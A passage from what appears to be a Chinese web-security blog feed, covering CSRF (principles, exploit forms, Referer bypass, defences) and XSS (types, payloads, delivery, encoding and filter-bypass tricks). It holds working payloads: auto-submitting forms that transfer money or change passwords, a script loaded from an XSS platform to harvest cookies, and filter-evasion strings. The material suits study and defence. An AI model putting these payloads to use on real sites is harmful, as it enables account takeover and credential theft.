<section><h2>三、CSRF 漏洞原理<a href="#三csrf-漏洞原理"><span>#</span></a></h2><p>利用浏览器<strong>无法区分</strong>受害者是<strong>主动发起</strong>请求还是<strong>被迷惑发起</strong>请求的固有缺陷，冒用受害者的凭证发起伪造请求。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>正常流程：</span></div></div><div><div><div>2</div></div><div><span><span>  </span></span><span>用户登录 → 浏览器保存 Cookie/Session → 用户发起请求 → 服务器验证凭证 → 执行操作</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span>CSRF攻击流程：</span></div></div><div><div><div>5</div></div><div><span><span>  </span></span><span>用户登录 → 浏览器保存 Cookie/Session → 用户访问恶意页面 → 恶意页面自动发起请求 → 服务器验证凭证（有效）→ 执行恶意操作</span></div></div></code></pre><div><div></div><div></div></div></figure></div><blockquote><p>💡 <strong>关键缺陷</strong>：浏览器在发送请求时会<strong>自动携带 Cookie</strong>，服务器无法判断该请求是用户主动发起的还是恶意伪造的。</p></blockquote><hr /></section>
<section><h2>四、如何发现 CSRF？<a href="#四如何发现-csrf"><span>#</span></a></h2><p><strong>核心思路：</strong></p><ol>
<li>寻找<strong>敏感请求触发点</strong>（修改密码、转账、删除、添加管理员等）</li>
<li>确认请求是否带有 <strong>anti-CSRF token</strong>（防跨站请求伪造令牌）</li>
<li>如果没有 token 或 token 可预测/可绕过，则存在 CSRF 漏洞</li>
</ol><p><strong>常见敏感操作特征：</strong></p><ul>
<li>修改密码</li>
<li>修改邮箱/手机号</li>
<li>转账/支付</li>
<li>删除数据</li>
<li>添加管理员</li>
<li>修改个人资料</li>
</ul><hr /></section>
<section><h2>五、CSRF 利用思路与步骤<a href="#五csrf-利用思路与步骤"><span>#</span></a></h2><section><h3>5.1 确定利用途径<a href="#51-确定利用途径"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1. 识别是通过 GET 请求还是 POST 请求提交</span></div></div><div><div><div>2</div></div><div><span><span>   </span></span><span>├── GET 请求 → 直接构造 URL</span></div></div><div><div><div>3</div></div><div><span><span>   </span></span><span>└── POST 请求 → 构造自动提交表单</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span>2. 识别是否有 CSRF Token</span></div></div><div><div><div>6</div></div><div><span><span>   </span></span><span>├── 无 Token → 直接利用</span></div></div><div><div><div>7</div></div><div><span><span>   </span></span><span>└── 有 Token → 需要配合 XSS 或 Token 预测</span></div></div></code></pre><div><div></div><div></div></div></figure></div>

<table><thead><tr><th>请求方式</th><th>利用方法</th></tr></thead><tbody><tr><td>GET</td><td>直接构造恶意 URL，诱骗点击</td></tr><tr><td>POST</td><td>构造自动提交的隐藏表单</td></tr><tr><td>有 Token</td><td>需要配合 XSS 窃取或预测 Token</td></tr></tbody></table></section><section><h3>5.2 构造利用方式<a href="#52-构造利用方式"><span>#</span></a></h3><p><strong>方式1：恶意 URL</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;!-- 让受害者点击这个链接 --&gt;</span></div></div><div><div><div>2</div></div><div><span>&lt;</span><span>a</span><span> </span><span>href</span><span>=</span><span>"http://example.com/transfer?to=attacker&amp;amount=10000"</span><span>&gt;点击领取优惠券&lt;/</span><span>a</span><span>&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>方式2：img 标签（自动加载）</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;!-- 受害者访问页面时自动发起请求 --&gt;</span></div></div><div><div><div>2</div></div><div><span>&lt;</span><span>img</span><span> </span><span>src</span><span>=</span><span>"http://example.com/transfer?to=attacker&amp;amount=10000"</span><span> </span><span>width</span><span>=</span><span>"0"</span><span> </span><span>height</span><span>=</span><span>"0"</span><span> /&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>方式3：自动提交的隐藏表单</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;</span><span>html</span><span>&gt;</span></div></div><div><div><div>2</div></div><div><span>&lt;</span><span>body</span><span> </span><span>onload</span><span>=</span><span>"</span><span><span>document</span><span>.</span></span><span>forms</span><span>[</span><span>0</span><span><span>]</span><span>.</span></span><span>submit</span><span>();</span><span>"</span><span>&gt;</span></div></div><div><div><div>3</div></div><div><span><span>    </span></span><span>&lt;</span><span>form</span><span> </span><span>action</span><span>=</span><span>"http://example.com/transfer"</span><span> </span><span>method</span><span>=</span><span>"POST"</span><span>&gt;</span></div></div><div><div><div>4</div></div><div><span><span>        </span></span><span>&lt;</span><span>input</span><span> </span><span>type</span><span>=</span><span>"hidden"</span><span> </span><span>name</span><span>=</span><span>"to"</span><span> </span><span>value</span><span>=</span><span>"attacker"</span><span>&gt;</span></div></div><div><div><div>5</div></div><div><span><span>        </span></span><span>&lt;</span><span>input</span><span> </span><span>type</span><span>=</span><span>"hidden"</span><span> </span><span>name</span><span>=</span><span>"amount"</span><span> </span><span>value</span><span>=</span><span>"10000"</span><span>&gt;</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>&lt;/</span><span>form</span><span>&gt;</span></div></div><div><div><div>7</div></div><div><span>&lt;/</span><span>body</span><span>&gt;</span></div></div><div><div><div>8</div></div><div><span>&lt;/</span><span>html</span><span>&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>方式4：XMLHttpRequest（配合 XSS）</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>var</span><span><span> </span><span>xhr</span><span> </span></span><span>=</span><span> </span><span>new</span><span> </span><span>XMLHttpRequest</span><span>();</span></div></div><div><div><div>2</div></div><div><span><span>xhr</span><span>.</span></span><span>open</span><span>(</span><span>'POST'</span><span>, </span><span>'http://example.com/transfer'</span><span>, </span><span>true</span><span>);</span></div></div><div><div><div>3</div></div><div><span><span>xhr</span><span>.</span></span><span>setRequestHeader</span><span>(</span><span>'Content-Type'</span><span>, </span><span>'application/x-www-form-urlencoded'</span><span>);</span></div></div><div><div><div>4</div></div><div><span><span>xhr</span><span>.</span></span><span>send</span><span>(</span><span>'to=attacker&amp;amount=10000'</span><span>);</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>方式5：短网址跳转</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>原恶意链接：http://example.com/transfer?to=attacker&amp;amount=10000</span></div></div><div><div><div>2</div></div><div><span>短网址：http://dwz.cn/abc123</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section>
<section><h2>六、CSRF 修复思路<a href="#六csrf-修复思路"><span>#</span></a></h2>

<table><thead><tr><th>修复方案</th><th>说明</th></tr></thead><tbody><tr><td><strong>1. 敏感操作使用 POST 请求</strong></td><td>避免使用 GET 请求处理敏感操作（但 POST 不能完全防御）</td></tr><tr><td><strong>2. 使用 CSRF Token</strong></td><td>生成随机 Token，每次请求时校验</td></tr><tr><td><strong>3. 验证 Referer</strong></td><td>检查请求来源是否合法</td></tr><tr><td><strong>4. 增加二次验证</strong></td><td>修改密码/转账等操作要求输入密码或短信验证码</td></tr><tr><td><strong>5. 使用预留信息确认</strong></td><td>要求用户确认预留信息（如生日、密保问题）</td></tr><tr><td><strong>6. 重要操作使用验证码</strong></td><td>使用图形验证码或短信验证码</td></tr></tbody></table><section><h3>CSRF Token 机制<a href="#csrf-token-机制"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>正常流程：</span></div></div><div><div><div>2</div></div><div><span><span>  </span></span><span>1. 服务器生成随机 Token（如：abc123xyz）</span></div></div><div><div><div>3</div></div><div><span><span>  </span></span><span>2. Token 保存在 Session 中，并写入表单隐藏字段</span></div></div><div><div><div>4</div></div><div><span><span>  </span></span><span>3. 用户提交表单时携带 Token</span></div></div><div><div><div>5</div></div><div><span><span>  </span></span><span>4. 服务器校验 Token 是否匹配</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span>CSRF Token 防御原理：</span></div></div><div><div><div>8</div></div><div><span><span>  </span></span><span>攻击者无法获取用户 Session 中的 Token → 无法构造包含正确 Token 的请求 → 攻击失败</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>Referer 验证<a href="#referer-验证"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>HTTP请求头 Referer：https://example.com/page.html</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>防御策略：</span></div></div><div><div><div>4</div></div><div><span><span>  </span></span><span>1. 校验请求来源是否为目标站点</span></div></div><div><div><div>5</div></div><div><span><span>  </span></span><span>2. 如果 Referer 不是本站，则拒绝请求</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span>注意：Referer 可以被伪造或缺失（部分浏览器/网络环境）</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section>
<section><h2>七、CSRF 绕过姿势<a href="#七csrf-绕过姿势"><span>#</span></a></h2>

<table><thead><tr><th>绕过方式</th><th>原理</th></tr></thead><tbody><tr><td><strong>Referer 绕过</strong></td><td>构造包含目标站点 host 为路径的链接页面，如 <code>http://attacker.com/example.com/index.html</code></td></tr><tr><td><strong>短网址绕过</strong></td><td>使用短网址服务隐藏恶意链接</td></tr><tr><td><strong>XSS + CSRF 联合</strong></td><td>利用 XSS 窃取 CSRF Token，再发起伪造请求</td></tr><tr><td><strong>空 Referer</strong></td><td>部分浏览器或配置下可通过 meta 标签移除 Referer</td></tr><tr><td><strong>HTTPS → HTTP 降级</strong></td><td>某些情况下可尝试降级请求绕过安全策略</td></tr></tbody></table><section><h3>Referer 绕过示例<a href="#referer-绕过示例"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>目标站点：example.com</span></div></div><div><div><div>2</div></div><div><span>攻击者页面：http://attacker.com/example.com/index.html</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span>某些服务器会检查 Referer 中是否包含 example.com，</span></div></div><div><div><div>5</div></div><div><span>attacker.com/example.com/index.html 也包含 example.com，可能被放行。</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section>
<section><h2>八、CSRF 和 XSS 的异同<a href="#八csrf-和-xss-的异同"><span>#</span></a></h2><section><h3>相同点<a href="#相同点"><span>#</span></a></h3><ul>
<li>都是<strong>前端漏洞</strong></li>
<li>都利用用户与网站的交互机制</li>
</ul></section><section><h3>不同点<a href="#不同点"><span>#</span></a></h3>

<table><thead><tr><th>对比项</th><th>XSS</th><th>CSRF</th></tr></thead><tbody><tr><td><strong>核心机制</strong></td><td>注入恶意脚本到网页</td><td>伪造用户请求</td></tr><tr><td><strong>是否窃取数据</strong></td><td>✅ 可窃取 Cookie、敏感数据</td><td>❌ 不窃取数据，只伪造请求</td></tr><tr><td><strong>是否需要用户登录</strong></td><td>❌ 不一定</td><td>✅ <strong>一般必须</strong>（利用已有凭证）</td></tr><tr><td><strong>依赖 JavaScript</strong></td><td>✅ 强依赖（执行恶意脚本）</td><td>⚠️ 不完全依赖（可仅用 img/表单）</td></tr><tr><td><strong>请求方向</strong></td><td>双向（可窃取可攻击）</td><td><strong>单向</strong>（发送伪造请求）</td></tr><tr><td><strong>防御核心</strong></td><td>输入过滤、输出编码</td><td>Token、Referer 验证</td></tr></tbody></table></section><section><h3>关系示意图<a href="#关系示意图"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>XSS → 可以窃取 CSRF Token → 可以辅助 CSRF 攻击</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>所以：XSS + CSRF 组合攻击威力更大！</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section>
<section><h2>📌 快速参考卡片<a href="#-快速参考卡片"><span>#</span></a></h2><section><h3>检测 CSRF 的口诀<a href="#检测-csrf-的口诀"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>找敏感操作 → 看有无 Token → 无 Token 则 CSRF</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>测试 Payload<a href="#测试-payload"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;!-- GET 请求测试 --&gt;</span></div></div><div><div><div>2</div></div><div><span>&lt;</span><span>img</span><span> </span><span>src</span><span>=</span><span>"http://target.com/change_password?newpwd=123456"</span><span> /&gt;</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span>&lt;!-- POST 请求测试（自动提交） --&gt;</span></div></div><div><div><div>5</div></div><div><span>&lt;</span><span>form</span><span> </span><span>action</span><span>=</span><span>"http://target.com/change_password"</span><span> </span><span>method</span><span>=</span><span>"POST"</span><span>&gt;</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>&lt;</span><span>input</span><span> </span><span>name</span><span>=</span><span>"newpwd"</span><span> </span><span>value</span><span>=</span><span>"123456"</span><span>&gt;</span></div></div><div><div><div>7</div></div><div><span>&lt;/</span><span>form</span><span>&gt;</span></div></div><div><div><div>8</div></div><div><span>&lt;</span><span>script</span><span><span>&gt;</span><span>document</span><span>.</span></span><span>forms</span><span>[</span><span>0</span><span>].</span><span>submit</span><span>();&lt;/</span><span>script</span><span>&gt;</span></div></div><div><div><div>9</div></div><div><span>&lt;!-- 测试 Referer 绕过 --&gt;</span></div></div><div><div><div>10</div></div><div><span>&lt;</span><span>a</span><span> </span><span>href</span><span>=</span><span>"http://target.com/change_password?newpwd=123456"</span><span>&gt;点击有惊喜&lt;/</span><span>a</span><span>&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>防御检查清单<a href="#防御检查清单"><span>#</span></a></h3><ul>
<li> 敏感操作是否使用 <strong>POST</strong> 而非 GET？</li>
<li> 是否使用 <strong>CSRF Token</strong>？</li>
<li> Token 是否足够<strong>随机</strong>且<strong>不可预测</strong>？</li>
<li> Token 是否与用户 <strong>Session</strong> 绑定？</li>
<li> 是否验证了 <strong>Referer</strong>？</li>
<li> 重要操作是否要求<strong>二次验证</strong>（密码/验证码）？</li>
</ul></section></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.emberlag.com/posts/xss/</id>
      <title type="text">XSS 跨站脚本</title>
      <published>2026-09-14T14:46:00.000Z</published>
      <updated>2026-09-14T14:46:00.000Z</updated>
      <author><name>3mb3rl4g</name></author>
      <link rel="alternate" href="https://blog.emberlag.com/posts/xss/"/>
      <summary type="text">XSS 的分类、常见 payload、打点与绕过方式，以及输出编码等防御手段。</summary>
      <content type="html"><![CDATA[<section><h2>一、XSS 概述<a href="#一xss-概述"><span>#</span></a></h2><section><h3>1.1 什么是 XSS？<a href="#11-什么是-xss"><span>#</span></a></h3><p><strong>XSS</strong>（Cross Site Scripting，<strong>跨站脚本攻击</strong>）是一种前端漏洞，目的是让受害者的浏览器执行攻击者编写的<strong>恶意 JS 脚本</strong>。</p>

<table><thead><tr><th>属性</th><th>说明</th></tr></thead><tbody><tr><td>攻击目标</td><td>前端脚本解析引擎（如浏览器 JavaScript 引擎）</td></tr><tr><td>攻击架构</td><td>B/S 架构（Browser ↔ Server）</td></tr><tr><td>核心目的</td><td>让受害者 JS 客户端运行攻击者的恶意脚本</td></tr></tbody></table></section><section><h3>1.2 XSS 的危害<a href="#12-xss-的危害"><span>#</span></a></h3><p><strong>技术层面：</strong></p><ul>
<li>窃取凭证（Cookie、Session）</li>
<li>篡改 DOM（页面布局及内容）</li>
<li>嵌入恶意脚本代码</li>
<li>发起恶意请求（Ajax）</li>
<li>键盘记录</li>
<li>窃取用户浏览历史</li>
<li>获取客户端 IP</li>
<li>端口扫描</li>
<li>获取剪贴板记录</li>
<li>破解 CSRF Token 限制</li>
</ul><p><strong>社会影响层面：</strong></p><ul>
<li>无账号密码情况下非法登录网站</li>
<li>网络钓鱼</li>
<li>网页蠕虫</li>
<li>网页篡改</li>
</ul></section><section><h3>1.3 XSS 漏洞原理<a href="#13-xss-漏洞原理"><span>#</span></a></h3><blockquote><p><strong>前端用户提交的脚本代码，被其他用户浏览器执行，产生预期外的执行后果。</strong></p></blockquote><p>简单来说：<strong>让自己提交的前端脚本代码被别人运行。</strong></p><hr /></section></section>
<section><h2>二、JS 执行模板<a href="#二js-执行模板"><span>#</span></a></h2>

<table><thead><tr><th>Payload</th><th>说明</th></tr></thead><tbody><tr><td><code>&lt;script&gt;alert(1)&lt;/script&gt;</code></td><td>直接嵌入 script 标签</td></tr><tr><td><code>&lt;script src=https://xsspt.com/MQzN0Z&gt;&lt;/script&gt;</code></td><td>从远程加载 script</td></tr><tr><td><code>&lt;input onmouseover="alert(1)"&gt;</code></td><td>通过事件属性触发</td></tr><tr><td><code>&lt;a href="javascript:alert(1)"&gt;aaa&lt;/a&gt;</code></td><td>超链接伪协议</td></tr><tr><td><code>&lt;svg onload="alert(1)"&gt;</code></td><td>SVG 标签的 onload 事件</td></tr><tr><td><code>&lt;svg&gt;&lt;script&gt;alert(1)&lt;/script&gt;&lt;/svg&gt;</code></td><td>SVG 中嵌入 script</td></tr><tr><td><code>&lt;textarea&gt;&lt;/textarea&gt;&lt;script&gt;alert(1)&lt;/script&gt;</code></td><td>闭合 textarea 后注入</td></tr></tbody></table><p><strong>闭合技巧：</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;!-- 需要先闭合标签再注入 --&gt;</span></div></div><div><div><div>2</div></div><div><span>&lt;</span><span>textarea</span><span>&gt;xxx&lt;/</span><span>textarea</span><span>&gt;  →  &lt;</span><span>textarea</span><span>&gt;&lt;/</span><span>textarea</span><span>&gt;&lt;</span><span>script</span><span>&gt;</span><span>alert</span><span>(</span><span>1</span><span>)&lt;/</span><span>script</span><span>&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section>
<section><h2>三、XSS 类型<a href="#三xss-类型"><span>#</span></a></h2>

<table><thead><tr><th>类型</th><th>说明</th><th>是否与服务器交互</th></tr></thead><tbody><tr><td><strong>反射型 XSS</strong></td><td>一次性 XSS，通过 URL 参数传递恶意代码</td><td>✅ 是</td></tr><tr><td><strong>存储型 XSS</strong></td><td>持久性 XSS，恶意代码存储在服务器数据库中</td><td>✅ 是</td></tr><tr><td><strong>DOM 型 XSS</strong></td><td>一次性 XSS，通过 DOM 操作触发，不与服务器交互</td><td>❌ 否</td></tr></tbody></table><section><h3>3.1 反射型 XSS<a href="#31-反射型-xss"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>攻击者 → 构造恶意链接 → 诱骗受害者点击 → 恶意脚本在受害者浏览器执行</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>示例：</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>http://target.com/search?q=&lt;script&gt;alert(1)&lt;/script&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>3.2 存储型 XSS<a href="#32-存储型-xss"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>攻击者 → 在论坛/评论区提交恶意脚本 → 存储在服务器数据库 → 其他用户访问页面时执行</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>3.3 DOM 型 XSS<a href="#33-dom-型-xss"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>攻击者 → 构造恶意 URL → 页面 JS 解析 URL 参数 → 动态写入 DOM → 脚本执行</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>特点：</strong> 不与服务器交互，完全在客户端发生。</p><hr /></section></section>
<section><h2>四、如何发现 XSS<a href="#四如何发现-xss"><span>#</span></a></h2><p><strong>核心原则：见框就插！</strong></p><section><h3>常见输入点<a href="#常见输入点"><span>#</span></a></h3>

<table><thead><tr><th>输入点</th><th>说明</th></tr></thead><tbody><tr><td>URL 参数</td><td><code>?q=xxx</code>、<code>?id=xxx</code></td></tr><tr><td>无参 URL</td><td><code>/name/zs</code> 路径部分</td></tr><tr><td>表单输入</td><td>搜索框、评论区、注册/登录框</td></tr><tr><td>文件上传点</td><td>文件名、文件内容</td></tr><tr><td>HTTP 请求头</td><td>User-Agent、Referer、Cookie</td></tr></tbody></table></section><section><h3>发现思路<a href="#发现思路"><span>#</span></a></h3><ol>
<li>找到输入点和输出点</li>
<li>根据输入点猜测后台的输出点位置及触发条件（盲 XSS）</li>
<li>使用 Payload 测试</li>
<li>观察闭合、过滤和拦截情况</li>
<li>重新构造 Payload</li>
</ol><hr /></section></section>
<section><h2>五、XSS 代码投放方式<a href="#五xss-代码投放方式"><span>#</span></a></h2><section><h3>方式1：直接发送链接<a href="#方式1直接发送链接"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>http://target.com/search?q=&lt;script&gt;alert(1)&lt;/script&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>方式2：通过短网址<a href="#方式2通过短网址"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>原链接：http://target.com/search?q=&lt;script&gt;alert(1)&lt;/script&gt;</span></div></div><div><div><div>2</div></div><div><span>短网址：http://dwz.cn/abc123</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>方式3：隐藏表单自动提交<a href="#方式3隐藏表单自动提交"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;!-- 诱骗用户点击的页面 --&gt;</span></div></div><div><div><div>2</div></div><div><span>&lt;</span><span>img</span><span> </span><span>src</span><span>=</span><span>"https://example.com/beautiful.jpg"</span><span> /&gt;</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span>&lt;</span><span>form</span><span> </span><span>action</span><span>=</span><span>"http://target.com/alert.php"</span><span> </span><span>method</span><span>=</span><span>"post"</span><span>&gt;</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>&lt;</span><span>input</span><span> </span><span>name</span><span>=</span><span>"data"</span><span> </span><span>id</span><span>=</span><span>"data"</span><span> </span><span>type</span><span>=</span><span>"hidden"</span><span> </span><span>value</span><span>=</span><span>"</span><span>&lt;</span><span>script&gt;alert(1)</span><span>&lt;</span><span>/script&gt;"</span><span>&gt;</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>&lt;</span><span>input</span><span> </span><span>type</span><span>=</span><span>"submit"</span><span> </span><span>id</span><span>=</span><span>"btn"</span><span> </span><span>value</span><span>=</span><span>"点击查看更多美女图片"</span><span>&gt;</span></div></div><div><div><div>7</div></div><div><span>&lt;/</span><span>form</span><span>&gt;</span></div></div><div><div><div>8</div></div><div><span>&lt;</span><span>script</span><span>&gt;</span></div></div><div><div><div>9</div></div><div><span><span>    </span></span><span>document</span><span>.</span><span>getElementById</span><span>(</span><span>'btn'</span><span>).</span><span>click</span><span>();</span></div></div><div><div><div>10</div></div><div><span>&lt;/</span><span>script</span><span>&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>方式4：XSS 平台<a href="#方式4xss-平台"><span>#</span></a></h3><p>从 XSS 平台（如 <a href="https://xssaq.com%EF%BC%89%E8%8E%B7%E5%8F%96%E6%94%BB%E5%87%BB" target="_blank">https://xssaq.com）获取攻击</a> JS 脚本，投放后收割 Cookie。</p><hr /></section></section>
<section><h2>六、XSS 利用步骤<a href="#六xss-利用步骤"><span>#</span></a></h2><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1. 找到输入点和输出点（含两者共存的情况）</span></div></div><div><div><div>2</div></div><div><span>2. 构造 Payload，尽量一次性成功</span></div></div><div><div><div>3</div></div><div><span>3. 观察闭合、过滤和拦截情况</span></div></div><div><div><div>4</div></div><div><span>4. 重新构造 Payload</span></div></div><div><div><div>5</div></div><div><span>5. 如不成功，重复第 3、4 步</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section>
<section><h2>七、编码和转义<a href="#七编码和转义"><span>#</span></a></h2><section><h3>编码<a href="#编码"><span>#</span></a></h3><p>编码是<strong>改变字符的外观表示</strong>，中间件会自动解码还原。</p>

<table><thead><tr><th>编码类型</th><th>示例</th></tr></thead><tbody><tr><td>URL 编码</td><td><code>%3Cscript%3E</code></td></tr><tr><td>HTML 实体编码</td><td><code>&amp;lt;script&amp;gt;</code></td></tr><tr><td>Base64</td><td><code>PHNjcmlwdD4=</code></td></tr><tr><td>Unicode</td><td><code>\u0061\u006c\u0065\u0072\u0074</code></td></tr></tbody></table></section><section><h3>转义<a href="#转义"><span>#</span></a></h3><p>转义是<strong>使特殊字符失去闭合等意义，成为普通字符</strong>。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>// 转义单引号</span></div></div><div><div><div>2</div></div><div><span>' --&gt; </span><span>\'</span></div></div></code></pre><div><div></div><div></div></div></figure></div>

<table><thead><tr><th>对比</th><th>编码</th><th>转义</th></tr></thead><tbody><tr><td>是否改变外观</td><td>✅ 是</td><td>❌ 否</td></tr><tr><td>是否失去特殊意义</td><td>视情况</td><td>✅ 是</td></tr></tbody></table></section><section><h3>Unicode 编码示例<a href="#unicode-编码示例"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>// 三个八进制数字</span></div></div><div><div><div>2</div></div><div><span>"e"</span><span> → </span><span>"</span><span>\145</span><span>"</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span>// 两个十六进制数字</span></div></div><div><div><div>5</div></div><div><span>"e"</span><span> → </span><span>"</span><span>\x65</span><span>"</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span>// 四个十六进制数字</span></div></div><div><div><div>8</div></div><div><span>"e"</span><span> → </span><span>"</span><span>\u0065</span><span>"</span></div></div><div><div><div>9</div></div><div>
</div></div><div><div><div>10</div></div><div><span>// 示例：编码后的 alert(1)</span></div></div><div><div><div>11</div></div><div><span>eval</span><span>(</span><span>"</span><span>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029</span><span>"</span><span>);</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section>
<section><h2>八、XSS 绕过技巧<a href="#八xss-绕过技巧"><span>#</span></a></h2><section><h3>8.1 大小写绕过<a href="#81-大小写绕过"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;</span><span>ScRiPt</span><span>&gt;</span><span>alert</span><span>(</span><span>1</span><span>)&lt;/</span><span>ScRiPt</span><span>&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>8.2 双写绕过<a href="#82-双写绕过"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;</span><span>scr&lt;script</span><span>&gt;ipt&gt;alert(1)&lt;/</span><span>scr&lt;/script</span><span>&gt;ipt&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>8.3 换行绕过<a href="#83-换行绕过"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;</span><span>script</span><span>&gt;</span></div></div><div><div><div>2</div></div><div><span>alert</span><span>(</span><span>1</span><span>)</span></div></div><div><div><div>3</div></div><div><span>&lt;/</span><span>script</span><span>&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>8.4 引号和括号替代<a href="#84-引号和括号替代"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;!-- 使用 / 替代引号 --&gt;</span></div></div><div><div><div>2</div></div><div><span>&lt;</span><span>script</span><span>&gt;</span><span>alert</span><span>(</span><span>/XSS/</span><span>)&lt;/</span><span>script</span><span>&gt;</span></div></div><div><div><div>3</div></div><div><span>&lt;!-- 使用 String.fromCharCode --&gt;</span></div></div><div><div><div>4</div></div><div><span>&lt;</span><span>script</span><span>&gt;</span><span>eval</span><span><span>(</span><span>String</span><span>.</span></span><span>fromCharCode</span><span>(</span><span>97</span><span>,</span><span>108</span><span>,</span><span>101</span><span>,</span><span>114</span><span>,</span><span>116</span><span>,</span><span>40</span><span>,</span><span>49</span><span>,</span><span>41</span><span>))&lt;/</span><span>script</span><span>&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>8.5 生僻元素绕过<a href="#85-生僻元素绕过"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;</span><span>svg</span><span> </span><span>onload</span><span>=</span><span>"alert(1)"</span><span>&gt;</span></div></div><div><div><div>2</div></div><div><span>&lt;</span><span>details</span><span> </span><span>open</span><span> </span><span>ontoggle</span><span>=</span><span>"alert(1)"</span><span>&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>8.6 注释绕过<a href="#86-注释绕过"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;!-- 使用注释闭合 --&gt;</span></div></div><div><div><div>2</div></div><div><span>&lt;</span><span>script</span><span>&gt;</span><span>alert</span><span>(</span><span>1</span><span>)</span><span>//</span><span>&lt;/</span><span>script</span><span>&gt;</span></div></div><div><div><div>3</div></div><div><span>&lt;!-- 或 --&gt;</span></div></div><div><div><div>4</div></div><div><span>&lt;!-- 